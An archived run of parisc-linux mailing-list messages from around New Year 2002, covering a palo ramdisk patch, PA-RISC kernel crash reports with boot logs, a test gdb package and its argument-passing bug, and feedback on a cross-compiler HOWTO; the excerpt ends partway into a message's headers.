NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:28 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org,
	J.E.J.Bottomely@HansenPartnership.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 31 15:46:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel8.hp.com (atlrel8.hp.com [156.153.255.206])
	by dsl2.external.hp.com (Postfix) with ESMTP id E8F4F482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 31 Dec 2001 15:46:56 -0700 (MST)
Original-Received: from ldl.fc.hp.com (linux-bugs.fc.hp.com [15.1.50.190])
	by atlrel8.hp.com (Postfix) with ESMTP
	id 79B01E00407; Mon, 31 Dec 2001 17:46:55 -0500 (EST)
Original-Received: from noam.fc.hp.com (noam.fc.hp.com [15.1.52.69])
	by ldl.fc.hp.com (Postfix) with ESMTP
	id 0D8E64674; Mon, 31 Dec 2001 15:46:55 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.32 #1 (Debian))
	id 16LBCo-0006v3-00; Mon, 31 Dec 2001 15:46:54 -0700
In-Reply-To: Your message of "Sun, 30 Dec 2001 09:45:53 CST."
             <200112301545.fBUFjrE01927@localhost.localdomain> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13545

= Playing some more with modules and initial ramdisks, I noticed that palo only
= allows use of a ramdisk when the ramdisk is placed inside the palo partition 
= rather than being able to read one from the boot ext2 filesystem.
= 
= The attached patch is a simple hack allowing palo to read a ramdisk from the 
= boot ext2 filesystem.

Oops, thought that was implemented.  Thanks for the patch, I put it
in CVS and uploaded a new debian package.

	-P



From - Thu Nov 08 21:21:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Craig D. Lansing" <lansing@beldar.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.16-pa24 crashes on c3k
Date: Mon, 31 Dec 2001 19:08:08 -0500
Lines: 191
Approved: news@gmane.org
Message-ID: <003a01c19258$65a9f8e0$0101a8c0@pogo>
References: <20011225090742.8E013482B@dsl2.external.hp.com>  <003601c191a4$2b55ec80$0101a8c0@pogo>  <20011231172209.ABAD1482C@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620908 32694 80.91.229.3 (22 Nov 2014 01:48:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:28 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Grant Grundler" <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 31 17:07:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beldar.com (ns.beldar.com [65.163.106.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id B0641482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 31 Dec 2001 17:07:26 -0700 (MST)
Original-Received: from pogo (dhcp-122.beldar.com [65.163.106.122])
	by beldar.com (8.9.3/8.9.3) with SMTP id TAA26352;
	Mon, 31 Dec 2001 19:27:59 -0500 (EST)
	(envelope-from lansing@beldar.com)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13546

Does this mean that the answer is to just keep downloading kernels until it
works?  BTW, somewhere in the process my problems with Eth0/1 were solved.
All I can think of was the one install that I tried from source.  I guess
the `make modules` or `make module_install` fixed something without my
knowing it.  Anyway, I can now telnet, ftp, ping, etc. my J2240 from my
WinDoze PCs so I'm a little further along.

----- Original Message -----
From: Grant Grundler <grundler@dsl2.external.hp.com>
To: Craig D. Lansing <lansing@beldar.com>
Cc: <parisc-linux@lists.parisc-linux.org>
Sent: Monday, December 31, 2001 12:22 PM
Subject: Re: [parisc-linux] 2.4.16-pa24 crashes on c3k


> "Craig D. Lansing" wrote:
> > Did you ever get this resolved?
>
> Well, for the systems I can test (A500/C3000), yes.
> IIRC, Thomas Bogendoerf said he fixed it for B132 and C200.
>
> > I saw Tom's reply that it could be related to /boot extending beyond
2GB,
>
> In general yes. But given recent kernel changes around PCI/EISA HBA
numbering
> I'd say it's a kernel problem.
>
> > J2240, I have tried 32-2.4.16-pa24 and pa29 and am getting stack dumps
> > similar to yours.  I have tried the pre-compiled kernels and creating
from
> > source to no avail.  The general steps are:
> >
> > 1. Download kernel or kernel source
> > 2. Compile if from source
> > 3. Copy vmlinux***, System.map.***, and Config.*** to /boot
> > 4. Link vmlinux to vmlinux***
> > 5. Edit /etc/palo.conf
> > 6. run palo (no args)
>
> You don't need to run palo again. It doesn't hurt either.
> Just point /boot/vmlinux (or whatever palo.conf says) to the new kernel.
>
> Just a few more nits interesting to other kernel developers.
> I hope Ryan or Thomas can sort this out for you.
>
> > Linux version 2.4.9-32 (root@paer) (gcc version 3.0.2 (Debian)) #1 Fri
Nov
> > 30 19:36:30 MST 2001
> ...
> > model   9000/782/J2240
> ...
> > Found devices:
> > 1. U2-IOA BC Runway Port (12) at 0xfff88000 [8], versions 0x580, 0xf,
0xb
> > 2. unknown device (13) at 0xfc000000 [8/0], versions 0x5d, 0x3, 0xa
> > 3. SummitHawk Dino RS-232 (10) at 0xfc003000 [8/0/63], versions 0x5d,
0x0,
> > 0x8c
> > 4. Dino PCI Bridge (13) at 0xfc004000 [8/4], versions 0x680, 0x3, 0xa
> > 5. SummitHawk 230 Core BA (11) at 0xffd00000 [8/12], versions 0x5c, 0x0,
> > 0x81,
> > additional addresses: 0xffc00000
> > 6. SummitHawk 230 Core Centronics (10) at 0xffd02000 [8/12/0], versions
> > 0x5c, 0x
> > 0, 0x74,  additional addresses: 0xffd03000
> > 7. SummitHawk 230 Core Audio (10) at 0xffd04000 [8/12/1], versions 0x5c,
> > 0x4, 0x
> > 7b
> > 8. SummitHawk 230 Core SCSI (10) at 0xffd06000 [8/12/5], versions 0x5c,
0x0,
> > 0x8
> > 2
> > 9. SummitHawk 230 Core PS/2 Port (10) at 0xffd08000 [8/12/7], versions
0x5c,
> > 0x0
> > , 0x84
> > 10. SummitHawk 230 Core PS/2 Port (10) at 0xffd08100 [8/12/8], versions
> > 0x5c, 0x
> > 0, 0x84
> > 11. U2-IOA BC GSC+ Port (7) at 0xfc03f000 [8/63], versions 0x501, 0x1,
0xc
> > 12. U2-IOA BC Runway Port (12) at 0xfff8a000 [10], versions 0x580, 0xf,
0xb
> > 13. Cujo PCI Bridge (13) at 0xf1604000 [10/4], versions 0x682, 0x1, 0xa,
> > additi
> > onal addresses: 0xf6000000
> > 14. SummitHawk Dino RS-232 (10) at 0xf1607000 [10/4/63], versions 0x5d,
0x0,
> > 0x8
> > c
> > 15. U2-IOA BC GSC+ Port (7) at 0xf163f000 [10/63], versions 0x501, 0x1,
0xc
> > 16. SummitHawk U+ (0) at 0xfffa0000 [32], versions 0x5b5, 0x0, 0x4
> > 17. SummitHawk U+ (0) at 0xfffa2000 [34], versions 0x5b5, 0x0, 0x4
> > 18. SummitHawk Memory (1) at 0xfffb1000 [49], versions 0x83, 0x0, 0x9
> > CONFIG_SMP=n  ignoring additional CPUs
> > Warning : device (0, 0x5b5, 0x0, 0x4) NOT claimed by CPU
> > CPU(s): 1 x PA8200 (PCX-U+) at 236.000000 MHz
> > ccio found U2 at 0xfff88000
> > io_io_low: 0xf8000000
> > 19. unknown device (13) at 0xfc000000 [8/0], versions 0x5d, 0x3, 0xa
> > 20. SummitHawk Dino RS-232 (10) at 0xfc003000 [8/0/63], versions 0x5d,
0x0,
> > 0x8c
> > 21. Dino PCI Bridge (13) at 0xfc004000 [8/4], versions 0x680, 0x3, 0xa
>
> I think the devices showing up twice has been fixed in 2.4.16 kernels.
>
> > 22. SummitHawk 230 Core BA (11) at 0xffd00000 [8/12], versions 0x5c,
0x0,
> > 0x81,
> >  additional addresses: 0xffc00000
> > 23. SummitHawk 230 Core Centronics (10) at 0xffd02000 [8/12/0], versions
> > 0x5c, 0
> > x0, 0x74,  additional addresses: 0xffd03000
> > 24. SummitHawk 230 Core Audio (10) at 0xffd04000 [8/12/1], versions
0x5c,
> > 0x4, 0
> > x7b
> > 25. SummitHawk 230 Core SCSI (10) at 0xffd06000 [8/12/5], versions 0x5c,
> > 0x0, 0x
> > 82
> > 26. SummitHawk 230 Core PS/2 Port (10) at 0xffd08000 [8/12/7], versions
> > 0x5c, 0x
> > 0, 0x84
> > 27. SummitHawk 230 Core PS/2 Port (10) at 0xffd08100 [8/12/8], versions
> > 0x5c, 0x
> > 0, 0x84
> > 28. U2-IOA BC GSC+ Port (7) at 0xfc03f000 [8/63], versions 0x501, 0x1,
0xc
> > ccio found U2 at 0xfff8a000
> > io_io_low: 0xf1600000
> > 29. Cujo PCI Bridge (13) at 0xf1604000 [10/4], versions 0x682, 0x1, 0xa,
> > additi
> > onal addresses: 0xf6000000
> > 30. SummitHawk Dino RS-232 (10) at 0xf1607000 [10/4/63], versions 0x5d,
0x0,
> > 0x8
> > c
> > 31. U2-IOA BC GSC+ Port (7) at 0xf163f000 [10/63], versions 0x501, 0x1,
0xc
> > Lasi version 0 at 0xffd00000 found.
> > Cujo version unknown found at 0xfc000000
>
> hmm...another nit. We should know the version by now.
>
> > Dino version 3.1 found at 0xfc004000
> > Cujo version 2.0 found at 0xf1604000
> > Enabling Cujo 2.0 bug workaround
> > POSIX conformance testing by UNIFIX
> > Linux NET4.0 for Linux 2.4
> > Based upon Swansea University Computer Society NET3.039
> > Starting kswapd v1.8
> > parport_init_chip: initialize bidirectional-mode.
> > parport0: PC-style at 0xffd02800, irq 88 [PCSPP,TRISTATE]
> > STI PCI ROM enabled at 0xf1ff0000
> > PCI graphic ROM found at f1ff0000 (64 kB), fb @ f6000000 (32 MB)
> > PCI region 0: f6000000 with 32768 kB
> > PCI region 1: 00000000 with 0 kB
> > PCI region 2: 00000000 with 0 kB
> > PCI region 3: 00000000 with 0 kB
> > PCI region 4: 00000000 with 0 kB
> > PCI region 5: 00000000 with 0 kB
> > PCI region 6: f1ff0000 with 64 kB
> > PCI region 7: 00000000 with 0 kB
> > PCI region 8: 00000000 with 0 kB
> > PCI region 9: 00000000 with 0 kB
> > PCI region 10: 00000000 with 0 kB
> > PCI region 11: 00000000 with 0 kB
> > Trying PCI STI ROM at f1ff0000, PCI hpa at f6000000
> > I'm not trying to set up the PCI graphic card now... It would freeze
your
> > machin
> > e
> > Unable to handle STI device 'Hewlett-Packard Company A4977A Visualize
EG'
>
> This should work now too.
> Or at least it's only know to NOT work with the C3000.
>
> grant
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>




From - Thu Nov 08 21:21:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.16-pa24 crashes on c3k
Date: Mon, 31 Dec 2001 17:42:10 -0700
Lines: 10
Approved: news@gmane.org
Message-ID: <20020101004210.65E19482A@dsl2.external.hp.com>
References: <20011225090742.8E013482B@dsl2.external.hp.com> <003601c191a4$2b55ec80$0101a8c0@pogo> <20011231172209.ABAD1482C@dsl2.external.hp.com>  <003a01c19258$65a9f8e0$0101a8c0@pogo>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620908 32697 80.91.229.3 (22 Nov 2014 01:48:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Craig D. Lansing" <lansing@beldar.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Dec 31 17:42:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 65E19482A; Mon, 31 Dec 2001 17:42:10 -0700 (MST)
In-Reply-To: Message from "Craig D. Lansing" <lansing@beldar.com> 
   of "Mon, 31 Dec 2001 19:08:08 EST." <003a01c19258$65a9f8e0$0101a8c0@pogo> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13547

"Craig D. Lansing" wrote:
> Does this mean that the answer is to just keep downloading kernels until it
> works?

I meant either look at the host bus controller enumeration code and
figure out the problem with EISA/PCI or wait until someone does.

grant



From - Thu Nov 08 21:21:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] new gdb deb for testing, patch for review
Date: Tue, 1 Jan 2002 01:33:14 -0800
Lines: 28
Approved: news@gmane.org
Message-ID: <20020101093314.GI2179@tausq.org>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620908 32699 80.91.229.3 (22 Nov 2014 01:48:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:28 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan  1 02:33:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 31C57482A
	for <parisc-linux@parisc-linux.org>; Tue,  1 Jan 2002 02:33:52 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id wqqbkaaa for parisc-linux@parisc-linux.org; Tue, 1 Jan 2002 02:27:48 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16LLII-0004HY-00; Tue, 01 Jan 2002 01:33:14 -0800
Content-Disposition: inline
User-Agent: Mutt/1.3.24i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13548

Hi all,

Happy New Year!

I've placed a new gdb deb on ftp.parisc-linux.org, in the
unofficial-debs directory. This is built with an updated patch against
the latest gdb version in Debian.

I don't know gdb nearly as much as I'd like though, so I'd appreciate it
if someone more knowledge in this area can give the patch a once-over and 
make sure there are no glaring issues. The patch is based largely on what's 
in gdb cvs on cvs.p-l.org, with some minor updates to bring it inline with
the 5.1 version in Debian.

The deb seems to work for me, but please give it a try and let me know
if you find any issues....

ftp://ftp.parisc-linux.org/unofficial-debs/gdb_5.1-1.1_hppa.deb
ftp://ftp.parisc-linux.org/patches/gdb-5.1.diff

The patch is also filed against the gdb package in the Debian BTS.

randolph
-- 
Debian Developer <tausq@debian.org>
http://www.TauSq.org/



From - Thu Nov 08 21:21:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HOWTO - PARISC Linux XC (v1.0 Dec 31 2001)
Date: Tue, 1 Jan 2002 13:34:52 -0500 (EST)
Lines: 16
Approved: news@gmane.org
Message-ID: <200201011834.g01IYqPf012263@hiauly1.hia.nrc.ca>
References: <20011231164231.C4130@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620909 32703 80.91.229.3 (22 Nov 2014 01:48:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:29 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org, marteaut@esiee.fr,
	grundler@puffin.external.hp.com
To: carlos@baldric.uwo.ca (Carlos O'Donell Jr.)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan  1 11:35:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2BBF8482A
	for <parisc-linux@parisc-linux.org>; Tue,  1 Jan 2002 11:35:02 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g01IYr7c012264;
	Tue, 1 Jan 2002 13:34:53 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g01IYqPf012263;
	Tue, 1 Jan 2002 13:34:52 -0500 (EST)
In-Reply-To: <20011231164231.C4130@systemhalted> from "Carlos O'Donell Jr." at Dec 31, 2001 04:42:31 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13549

> Cross-Compiler HOWTO at:
> 
> http://www.baldric.uwo.ca/HOWTO/PARISC-Linux-XC-HOWTO.html

Check the document title.

Regarding the "layout", you might specifically mention that the build tree
should not be in the source tree.  This causes problems if you try to build
the ada compiler in 3.1.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:21:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new gdb deb for testing, patch for review
Date: Tue, 1 Jan 2002 10:41:09 -0800
Lines: 23
Approved: news@gmane.org
Message-ID: <20020101184109.GJ2179@tausq.org>
References: <20020101093314.GI2179@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620909 32709 80.91.229.3 (22 Nov 2014 01:48:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:29 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan  1 11:41:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id AFB99482A
	for <parisc-linux@parisc-linux.org>; Tue,  1 Jan 2002 11:41:42 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id bssbkaaa for parisc-linux@parisc-linux.org; Tue, 1 Jan 2002 11:35:42 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16LTqX-0004pM-00; Tue, 01 Jan 2002 10:41:09 -0800
Content-Disposition: inline
In-Reply-To: <20020101093314.GI2179@tausq.org>
User-Agent: Mutt/1.3.24i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13550

> The deb seems to work for me, but please give it a try and let me know
> if you find any issues....

argument passing seems to be broken

357       t_double_values(double_val1, double_val2);
(gdb) print double_val1
$1 = 45.654000000000003
(gdb) step
t_double_values (double_arg1=-1.0015640258789065, 
    double_arg2=8.5011959057330557)
    at ../../../gdb/testsuite/gdb.base/callfuncs.c:275

hmm...

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:21:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new gdb deb for testing, patch for review
Date: Tue, 1 Jan 2002 14:09:58 -0500 (EST)
Lines: 23
Approved: news@gmane.org
Message-ID: <200201011909.g01J9x6v012320@hiauly1.hia.nrc.ca>
References: <20020101184109.GJ2179@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620909 32712 80.91.229.3 (22 Nov 2014 01:48:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:29 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: randolph@tausq.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan  1 12:10:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id E5FB6482A
	for <parisc-linux@parisc-linux.org>; Tue,  1 Jan 2002 12:10:00 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g01J9x7c012321;
	Tue, 1 Jan 2002 14:09:59 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g01J9x6v012320;
	Tue, 1 Jan 2002 14:09:59 -0500 (EST)
In-Reply-To: <20020101184109.GJ2179@tausq.org> from "Randolph Chung" at Jan 1, 2002 10:41:09 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13551

> > The deb seems to work for me, but please give it a try and let me know
> > if you find any issues....
> 
> argument passing seems to be broken
> 
> 357       t_double_values(double_val1, double_val2);
> (gdb) print double_val1
> $1 = 45.654000000000003
> (gdb) step
> t_double_values (double_arg1=-1.0015640258789065, 
>     double_arg2=8.5011959057330557)
>     at ../../../gdb/testsuite/gdb.base/callfuncs.c:275

This annoying problem has been around for a long time.  Argument
printouts may not be valid at a function breakpoint due to code
motion.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:21:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: H_Aue@t-online.de (Hinrich Aue)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] DSL on a 715/80 with rp-pppoe - MADE IT!!!
Date: Tue, 1 Jan 2002 20:25:50 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <16LUTy-0mGMD2C@fwd05.sul.t-online.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
